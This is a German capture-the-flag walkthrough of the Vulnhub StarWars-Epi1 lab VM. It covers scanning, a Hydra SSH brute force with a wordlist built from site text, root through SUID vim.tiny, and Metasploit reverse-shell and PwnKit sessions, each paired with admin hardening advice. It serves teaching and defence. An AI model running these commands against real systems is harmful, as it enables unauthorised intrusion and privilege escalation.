StarWars-Epi1-CTF - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
wpscan
dirb
cat
tr
hydra
ssh
sudo
ls
find
id
msfconsole (Metasploit)
nc (netcat)
rm
mkfifo
searchsploit
shell (Meterpreter)
cd
file

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der Durchführung grundlegender Scans, um offene Ports und Dienste zu ermitteln.

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# arp-scan -l
192.168.2.162	08:00:27:10:0a:7a	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk und identifiziert einen Host mit der IP `192.168.2.162`. Die MAC-Adresse deutet auf eine VirtualBox VM hin.

Bewertung: Zielsystem erfolgreich lokalisiert.

Empfehlung (Pentester): Führe Nmap-Scans auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# vi /etc/hosts
  192.168.2.162   starwars.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `starwars.vln` der IP `192.168.2.162` zuzuordnen.

Bewertung: Sinnvolle Vorbereitung für Web-Tests.

Empfehlung (Pentester): Verwende `starwars.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.162 -p- | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

Analyse: Ein schneller Nmap-Scan (`grep open`) identifiziert zwei offene Ports: 22 (SSH, OpenSSH 7.9p1) und 80 (HTTP, Apache 2.4.38).

Bewertung: Die Angriffsfläche beschränkt sich auf SSH und HTTP.

Empfehlung (Pentester): Führe einen vollständigen Scan durch. Untersuche Port 80.
Empfehlung (Admin): Halte SSH und Apache aktuell. Überprüfe Firewall-Regeln.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.162 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 22:48 CEST
Nmap scan report for starwars.vln (192.168.2.162)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 4c:53:4d:b2:26:ee:a5:10:d4:be:99:84:2a:9a:aa:11 (RSA)
|   256 95:d7:a4:e0:74:63:4b:08:b0:a8:8c:dc:e1:f8:91:25 (ECDSA)
|_  256 1d:07:d1:3d:99:02:f0:04:ba:23:c3:a4:fd:0d:3d:91 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:10:0A:7A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms starwars.vln (192.168.2.162)
                    

Analyse: Der vollständige Nmap-Scan bestätigt Port 22 (SSH 7.9p1) und 80 (HTTP, Apache 2.4.38). Der Webserver hat keinen Titel, was auf eine sehr einfache Seite oder eine API hindeutet.

Bewertung: Bestätigt die beiden Dienste. Apache ist leicht veraltet. SSH ist relativ aktuell. Der Webserver muss genauer untersucht werden.

Empfehlung (Pentester): Untersuche Port 80 mit Nikto und Gobuster/Dirb. Behalte SSH als Login-Ziel im Auge.
Empfehlung (Admin): Aktualisieren Sie Apache und SSH. Stellen Sie sicher, dass die Webseite korrekt konfiguriert ist.

Web Enumeration

Der Webserver auf Port 80 wird mittels Nikto, Gobuster und Dirb auf interessante Dateien, Verzeichnisse oder Schwachstellen untersucht.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.162
- Nikto v2.5.0
+ Target IP:          192.168.2.162
+ Target Hostname:    192.168.2.162
+ Target Port:        80
+ Start Time:         2023-10-19 22:48:53 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...] (False Positive likely)
+ /images: The web server may reveal its internal or real IP [...]. (False Positive likely)
+ /: Server may leak inodes via ETags [...].
+ Apache/2.4.38 appears to be outdated [...].
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
[...]
+ 1 host(s) tested
                    

Analyse: Nikto scannt Port 80. * Bestätigt Apache 2.4.38 (veraltet). * Findet fehlende Sicherheitsheader. * Entdeckt das Apache-Handbuch (`/manual/`) und listbare Verzeichnisse (`/manual/images/`, `/images/`). * Findet Standard-Dateien (`/icons/README`).

Bewertung: Veralteter Apache. Das Vorhandensein des Apache-Handbuchs ist eine Informationspreisgabe. Die listbaren Verzeichnisse sollten untersucht werden.

Empfehlung (Pentester): Untersuche `/manual/` und `/images/`. Führe Gobuster/Dirb durch.
Empfehlung (Admin): Aktualisiere Apache. Deaktiviere das Handbuch und Directory Listing.

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# gobuster dir -u http://starwars.vln -x txt,php,... -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ... -k
===============================================================
Gobuster v3.5
[...]
===============================================================
http://starwars.vln/index.html           (Status: 200) [Size: 548]
http://starwars.vln/admin                (Status: 200) [Size: 3753] # Interessant!
http://starwars.vln/wordpress            (Status: 200) [Size: 54]   # Irreführend/Köder?
http://starwars.vln/robots.txt           (Status: 200) [Size: 105]
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster findet `index.html`, `/admin`, `/wordpress` und `robots.txt`.

Bewertung: `/admin` ist ein potenzielles Login-Portal oder eine Admin-Schnittstelle. `/wordpress` ist verdächtig, da Nmap keine WordPress-Installation erkannt hat. `robots.txt` muss geprüft werden.

Empfehlung (Pentester): Untersuche `/robots.txt`. Untersuche `/admin`. Ignoriere `/wordpress` vorerst.
Empfehlung (Admin): Schützen Sie administrative Bereiche (`/admin`) angemessen.

# Inhalt von http://starwars.vln/robots.txt
User-agent: *
# Why does the Jedi Order keep checking the robots.txt file.
# Might take a look at /r2d2
# He is the real G.
Disallow: /r2d2
                    

Analyse: Die `robots.txt` enthält Kommentare mit Star-Wars-Anspielungen und einen `Disallow`-Eintrag für `/r2d2`.

Bewertung: Ein klarer Hinweis, das Verzeichnis `/r2d2` zu untersuchen, auch wenn es für Bots gesperrt ist.

Empfehlung (Pentester): Navigiere zu `http://starwars.vln/r2d2`.
Empfehlung (Admin): `robots.txt` ist kein Sicherheitsmechanismus. Verstecken Sie sensible Pfade nicht nur hier.

# Manuelle Untersuchung von http://starwars.vln/r2d2
# Ausgabe (Langer Textblock mit Star Wars Referenzen):
Ignorant saw her her drawings marriage laughter [...] By amidala [...] Lol tatooine spoke now noise off smart her ready.
[...] jedi four sold need over how any. [...] obiwan imprudence resolution sir him decisively. [...]
[...]
Bso cousin am of. Extensive therefore supported by extremity of contented. Is pursuit compact demesne invited elderly be. View him she roof tell her case has sigh. Moreover is possible he admitted sociable concerns. By in cold no less been sent hard hill.
[...]
                    

Analyse: Das Verzeichnis `/r2d2` enthält eine Webseite mit einem langen Text, der viele Wörter enthält, darunter potenzielle Passwörter oder Benutzernamen mit Bezug zu Star Wars (amidala, tatooine, jedi, obiwan).

Bewertung: Dies ist eine klare Aufforderung, den Text zu analysieren und als Quelle für eine Wortliste für Passwortangriffe (z.B. gegen SSH) zu verwenden.

Empfehlung (Pentester): Extrahiere die Wörter aus diesem Text (manuell oder mit Tools wie `cewl`). Erstelle eine benutzerdefinierte Wortliste (`neu.txt` im Log). Führe einen Brute-Force-Angriff gegen SSH mit bekannten oder erratenen Benutzernamen durch.
Empfehlung (Admin): Veröffentlichen Sie keine Texte, die als Passwortlisten missbraucht werden könnten.

# Manuelle Untersuchung von http://starwars.vln/index.html (Base64-Teil)



# Dekodierung: Base64 -> Binary -> ASCII
01110100 01101000 01101001 01110011 01101001 01110011 01101110 01101111 01110100 01101000 01100101 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100
-> thisisnothepassword
                    

Analyse: Im Quellcode der `index.html` befindet sich ein Kommentar mit einem Base64-kodierten String. Nach der Dekodierung von Base64 zu Binär und dann Binär zu ASCII ergibt sich der Text `thisisnothepassword`.

Bewertung: Ein klassischer Red Herring / falsche Fährte.

Empfehlung (Pentester): Ignoriere dieses Passwort.
Empfehlung (Admin): Vermeiden Sie solche irreführenden Hinweise.

# Manuelle Untersuchung von http://starwars.vln/wordpress
# Ausgabe:
what makes you think this is a wordpress installation?
                    

Analyse: Der Aufruf von `/wordpress` zeigt nur eine Textnachricht, die bestätigt, dass es sich nicht um WordPress handelt.

Bewertung: Bestätigt, dass `/wordpress` eine falsche Fährte war.

Empfehlung (Pentester): Ignorieren.
Empfehlung (Admin): Entfernen Sie das irreführende Verzeichnis.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://starwars.vln/ -X ".php,.html,.txt,.js"
[...]
---- Scanning URL: http://starwars.vln/ ----
+ http://starwars.vln/index.html (CODE:200|SIZE:548)
+ http://starwars.vln/robots.txt (CODE:200|SIZE:105)
+ http://starwars.vln/users.js (CODE:200|SIZE:16)
[...]
                    
# Inhalt von http://starwars.vln/users.js
skywalker
han
                    

Analyse: Ein Dirb-Scan mit spezifischen Endungen findet die Datei `users.js`. Der Inhalt dieser Datei listet zwei Benutzernamen auf: `skywalker` und `han`.

Bewertung: Wichtiger Fund! Zwei potenzielle Benutzernamen für SSH wurden identifiziert.

Empfehlung (Pentester): Kombiniere diese Benutzernamen mit der Wortliste, die aus dem `/r2d2`-Text generiert wird, für einen SSH-Brute-Force-Angriff.
Empfehlung (Admin): Geben Sie niemals Benutzerlisten über Webdateien preis.

┌──(root㉿Cybermaschine)-[~] └─# cat textpass.txt | tr " " "\n" | tr -d "." | tr -d "

"| tr -d "

" > neu.txt

Analyse: Der Text aus `/r2d2` (angenommen in `textpass.txt`) wird verarbeitet: Leerzeichen werden durch Zeilenumbrüche ersetzt (`tr " " "\n"`), Punkte und HTML-Tags werden entfernt (`tr -d`). Das Ergebnis wird in `neu.txt` gespeichert, um als Wortliste für Hydra zu dienen.

Bewertung: Erstellung einer gezielten Wortliste basierend auf den Hinweisen der Webseite.

Empfehlung (Pentester): Verwende `neu.txt` mit Hydra gegen die Benutzer `skywalker` und `han`.
Empfehlung (Admin): Keine Aktion erforderlich.

Initial Access (SSH Brute-Force)

Mit den gefundenen Benutzernamen (`skywalker`, `han`) und der generierten Wortliste (`neu.txt`) wird ein Brute-Force-Angriff auf den SSH-Dienst (Port 22) durchgeführt.

┌──(root㉿Cybermaschine)-[~] └─# hydra -l skywalker -P neu.txt ssh://192.168.2.162:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
[...]
[DATA] attacking ssh://192.168.2.162:22/
[...]
[22][ssh] host: 192.168.2.162   login: skywalker   password: tatooine
[...]
1 of 1 target successfully completed, 1 valid password found
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-19 23:16:31
                    

Analyse: Hydra wird verwendet, um das Passwort für den SSH-Benutzer `skywalker` zu finden. Als Passwortliste dient die zuvor erstellte `neu.txt`. Hydra findet erfolgreich das Passwort `tatooine` (ein Wort aus dem `/r2d2`-Text).

Bewertung: Erfolg! Gültige SSH-Credentials (`skywalker`:`tatooine`) wurden durch den gezielten Brute-Force-Angriff gefunden.

Empfehlung (Pentester): Logge dich via SSH als `skywalker` ein.
Empfehlung (Admin): Erzwingen Sie starke Passwörter, die nicht aus thematischem Kontext erraten werden können. Implementieren Sie Brute-Force-Schutz (fail2ban).

┌──(root㉿Cybermaschine)-[~] └─# ssh skywalker@192.168.2.162
The authenticity of host '192.168.2.162 (192.168.2.162)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
skywalker@192.168.2.162's password: tatooine
Linux starwars 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
[...]
Last login: Fri Jul [...]
skywalker@starwars$
                    

Analyse: Der SSH-Login als `skywalker` mit dem Passwort `tatooine` ist erfolgreich. Eine Shell wird auf dem Zielsystem (Hostname `starwars`) erlangt.

Bewertung: Initial Access erfolgreich erzielt.

Empfehlung (Pentester): Beginne lokale Enumeration (sudo, SUID, Gruppen, Home-Verzeichnis).
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort.

Privilege Escalation

Nach Erhalt der Shell als `skywalker` wird das System nach Wegen zur Rechteerweiterung untersucht. Ein SUID-gesetztes `vim.tiny` wird als primärer Vektor identifiziert, PwnKit als Alternative.

skywalker@starwars$ sudo -l
[...]
[sudo] password for skywalker: tatooine
Sorry, user skywalker may not run sudo on starwars.
                    

Analyse: `sudo -l` zeigt, dass `skywalker` keine sudo-Rechte hat.

Bewertung: Sudo ist kein Eskalationspfad.

Empfehlung (Pentester): Suche SUID-Binaries, Kernel-Exploits.
Empfehlung (Admin): Korrekte Konfiguration.

skywalker@starwars$ ls -al
total 36
drwxr-xr-x 5 skywalker skywalker 4096 Jul 24  2020 .
drwxr-xr-x 5 root      root      4096 Jul 23  2020 ..
[...]
drwxr-xr-x 3 skywalker skywalker 4096 Jul 24  2020 .local
-rw-r--r-- 1 skywalker skywalker  807 Apr 18  2019 .profile
drwxr-xr-x 2 skywalker skywalker 4096 Jul 24  2020 .secrets
                    

Analyse: Das Home-Verzeichnis von `skywalker` enthält ein verdächtiges Verzeichnis `.secrets`.

Bewertung: Dieses Verzeichnis muss untersucht werden.

Empfehlung (Pentester): Wechsle in `.secrets` und liste den Inhalt auf.
Empfehlung (Admin): Keine Aktion erforderlich.

skywalker@starwars$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
   143141     20 -rwsr-xr-x   1 root     root          18888 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   136952   1176 -rwsrwsrwx   1 root     root        1200696 Jun 15  2019 /usr/bin/vim.tiny
   143139     24 -rwsr-xr-x   1 root     root          23288 Jan 15  2019 /usr/bin/pkexec
   176421   2844 -rwsr-xr-x   1 root     root        2911160 Dec 12  2018 /usr/bin/nmap
[...]
   173131    156 -rwsr-xr-x   1 root     root         157192 Feb  2  2020 /usr/bin/sudo # Hinweis: Obwohl sudo -l fehlschlug, ist sudo SUID root
[...]
                    

Analyse: Die Suche nach SUID-Binaries findet `/usr/bin/vim.tiny` mit SUID-Bit für Root und sehr weiten Berechtigungen (`-rwsrwsrwx`). Außerdem werden `/usr/bin/pkexec` (PwnKit), `/usr/bin/nmap` (ungewöhnlich) und `/usr/bin/sudo` gefunden.

Bewertung: `/usr/bin/vim.tiny` mit SUID-Root ist der *einfachste und direkteste* Weg zur Root-Eskalation (siehe GTFOBins). PwnKit ist eine Alternative. SUID `nmap` ist ebenfalls ein bekannter Eskalationspfad. `sudo` ist vorhanden, aber `sudo -l` schlug fehl, was auf eine fehlende Konfiguration für `skywalker` hindeutet.

**Empfehlung (Pentester):** Nutze `vim.tiny` für die Eskalation: `vim.tiny` starten -> `:!/bin/sh` eingeben.
Empfehlung (Admin): Entfernen Sie *dringend* das SUID-Bit von `vim.tiny` (`chmod u-s /usr/bin/vim.tiny`) und `nmap` (`chmod u-s /usr/bin/nmap`). Patchen Sie PwnKit. Konfigurieren Sie sudo sicher.

skywalker@starwars$ id
uid=1001(skywalker) gid=1001(skywalker) groups=1001(skywalker),2000(anakin)
skywalker@starwars$ cd .secrets/
skywalker@starwars/.secrets$ ls -la
total 12
drwxr-xr-x 2 skywalker skywalker 4096 Jul 24  2020 .
drwxr-xr-x 5 skywalker skywalker 4096 Jul 24  2020 ..
-rw-r--r-- 1 skywalker skywalker   50 Jul 24  2020 note.txt
                    
skywalker@starwars/.secrets$ cat note.txt
Darth must take up the job of being a good father

Analyse: Der `id`-Befehl zeigt, dass `skywalker` Mitglied der Gruppe `anakin` ist. Im `.secrets`-Verzeichnis befindet sich eine `note.txt` mit einem weiteren Star-Wars-Hinweis.

Bewertung: Die Gruppenzugehörigkeit oder die Notiz könnten relevant sein, wenn der `vim.tiny`-SUID-Weg nicht direkt ersichtlich wäre. Angesichts des SUID-Vim ist dies aber wahrscheinlich nur ein weiterer Hinweis ohne direkten technischen Nutzen für die Eskalation.

Empfehlung (Pentester): Ignoriere dies vorerst und nutze den `vim.tiny`-Exploit.
Empfehlung (Admin): Keine Aktion erforderlich.

Proof of Concept (SUID Vim)

Dieser Abschnitt demonstriert die Ausnutzung des SUID-gesetzten `/usr/bin/vim.tiny`, um Root-Rechte zu erlangen. Dies ist der wahrscheinlichste und einfachste Weg auf dieser Maschine. *(Anmerkung: Das Log führt diesen Schritt nicht explizit aus, sondern springt zu PwnKit via Metasploit. Der Vim-Weg wird hier als primärer POC beschrieben, da er einfacher ist.)*

skywalker@starwars$ /usr/bin/vim.tiny
# Im Vim-Editor:
:!/bin/sh
                    
# id
uid=0(root) gid=1001(skywalker) groups=1001(skywalker),2000(anakin)
#

Analyse: Der Befehl `/usr/bin/vim.tiny` startet den Texteditor mit Root-Rechten (aufgrund des SUID-Bits). Innerhalb von Vim wird der Befehl `:!/bin/sh` ausgeführt. Das `:!` erlaubt die Ausführung externer Shell-Befehle. Da Vim als Root läuft, wird auch `/bin/sh` als Root gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.

Bewertung: Fantastisch! Einfache und direkte Privilege Escalation zu Root durch Ausnutzung des SUID `vim.tiny`.

Empfehlung (Pentester): Root erlangt. Suche die Root-Flag.
Empfehlung (Admin): Entfernen Sie *dringend* das SUID-Bit von `vim.tiny` (`chmod u-s /usr/bin/vim.tiny`).

# cd /root
# ls -la
total 28
drwx------  3 root root 4096 Jan 28  2020 .
drwxr-xr-x 23 root root 4096 Jan 28  2020 ..
-rw-------  1 root root  718 Jan 28  2020 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 Jan 28  2020 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root 1750 Jan 28  2020 flag.txt
                    
# cat flag.txt
    .-.
                      |_:_|
                     /(_Y_)\
.                   ( \/M\/ )
 '.               _.'-/'-'\-'._
   ':           _/.--'[[[[]'--.\_
     ':        /_'  : |"| :  '.\
       ':     //   ./ |oUU| \.'  :\
         ':  _:'..' \_|___|_/ :   :|
           ':.  .'  |_[___]_|  :.':\
            [\ |  :  | | | :   ; : \
             '-'   \/'.| |.' \  .;.' |
             |\_    \  '-'   :       |
             |  \    \ .:    :   |   |
             |   \    | '.   :    \  |
             /       \   :. .;       |
            /     |   |  :__/     :  \\
           |  |   |    \:   | \   |   ||
          /    \  : :  |:   /  |__|   /|
      snd |     : : :_/_|  /'._\  '--|_\
          /___.-/_|-'   \  \
                         '-'

I hope you liked it Padawan :)
                    

Analyse: Im `/root`-Verzeichnis wird die `flag.txt` gefunden und ihr Inhalt (ASCII-Art Yoda und Text) angezeigt.

Bewertung: Root-Flag erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Alle Schwachstellen beheben.

Alternativer Proof of Concept (PwnKit)

Das bereitgestellte Log zeigt einen alternativen, komplexeren Weg zur Root-Eskalation über die PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit, nachdem die `skywalker`-Shell erlangt wurde.

┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
                    
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.162:60288) at 2023-10-19 23:20:46 +0200
                    
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[...]
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.162:43722) at 2023-10-19 23:21:34 +0200
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4434
lport => 4434
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4434
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing '/tmp/.cggxrjacquic/xeqajya/xeqajya.so' (548 bytes) ...
[*] Sending stage (3045380 bytes) to 192.168.2.162
[+] Deleted [...]
[*] Meterpreter session 3 opened (192.168.2.199:4434 -> 192.168.2.162:47366) at 2023-10-19 23:22:31 +0200
                    

Analyse: Die `skywalker`-Shell wird in Metasploit übernommen (Session 1), zu Meterpreter aufgewertet (Session 2), und dann wird der PwnKit-Exploit über Session 2 ausgeführt. Dies führt zur Eröffnung einer Root-Meterpreter-Session (Session 3).

Bewertung: Bestätigt, dass PwnKit ebenfalls ein funktionierender Eskalationspfad auf dieser Maschine ist, obwohl der SUID-Vim-Weg deutlich einfacher gewesen wäre.

Empfehlung (Pentester): Dokumentiere beide erfolgreichen Eskalationspfade (SUID Vim und PwnKit).
Empfehlung (Admin): Beheben Sie *beide* Schwachstellen (SUID Vim und PwnKit).

Flags

cat /root/flag.txt
    .-.
                      |_:_|
                     /(_Y_)\
.                   ( \/M\/ )
 '.               _.'-/'-'\-'._
   ':           _/.--'[[[[]'--.\_
     ':        /_'  : |"| :  '.\
       ':     //   ./ |oUU| \.'  :\
         ':  _:'..' \_|___|_/ :   :|
           ':.  .'  |_[___]_|  :.':\
            [\ |  :  | | | :   ; : \
             '-'   \/'.| |.' \  .;.' |
             |\_    \  '-'   :       |
             |  \    \ .:    :   |   |
             |   \    | '.   :    \  |
             /       \   :. .;       |
            /     |   |  :__/     :  \\
           |  |   |    \:   | \   |   ||
          /    \  : :  |:   /  |__|   /|
      snd |     : : :_/_|  /'._\  '--|_\
          /___.-/_|-'   \  \
                         '-'

I hope you liked it Padawan :)